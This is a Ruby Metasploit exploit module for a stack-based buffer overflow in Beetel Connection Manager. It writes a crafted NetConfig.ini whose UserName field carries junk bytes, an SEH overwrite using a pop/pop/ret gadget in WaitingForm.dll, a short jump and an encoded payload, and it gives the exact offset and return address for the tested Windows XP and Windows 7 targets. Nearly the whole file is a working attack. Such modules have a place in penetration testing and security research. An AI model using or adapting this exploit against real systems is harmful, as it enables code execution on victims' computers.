Beetel Connection Manager NetConfig.ini Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name' => "Beetel Connection Manager NetConfig.ini Buffer Overflow",
      'Description' => %q{
        This module exploits a stack-based buffer overflow in Beetel Connection
        Manager. The vulnerability exists in the parsing of the UserName
        parameter in the NetConfig.ini file.

        The module has been tested successfully against version
        PCW_BTLINDV1.0.0B04 on Windows XP SP3 and Windows 7 SP1.
      },
      'License' => MSF_LICENSE,
      'Author' => [
        "metacom", # Vuln/PoC
        "wvu" # Metasploit
      ],
      'References' => [
        ["OSVDB", "98714"],
        ["EDB", "28969"]
      ],
      'Payload' => {
        "Space" => 1504,
        "BadChars" => "\x00\x09\x0a\x0b\x0c\x0d\x20",
        "DisableNops" => true
      },
      'Platform' => "win",
      'Targets' => [
        ["PCW_BTLINDV1.0.0B04 (WinXP SP3, Win7 SP1)", {
          "Offset" => 468,
          "Ret" => 0x0105e2f6 # p/p/r (WaitingForm.dll 1.0.0.0)
        }]
      ],
      'Privileged' => false,
      'DisclosureDate' => "2013-10-12",
      'DefaultTarget' => 0
    ))

    register_options([
      OptString.new("FILENAME", [true, "INI file", "NetConfig.ini"]),
      OptString.new("SECTION", [true, "Section name", "Edit Me"])
    ])
  end

  def exploit
    section = datastore["SECTION"]

    sploit = "[#{section}]\r\nUserName=#{shell_popper}"

    file_create(sploit)
  end

  def shell_popper
    junk = rand_text(target["Offset"])
    seh = generate_seh_record(target.ret)
    jump = Rex::Arch::X86.jmp_short(66)
    padding = rand_text(66) # Pad past buffer corruption

    junk + seh + jump + padding + payload.encoded
  end
end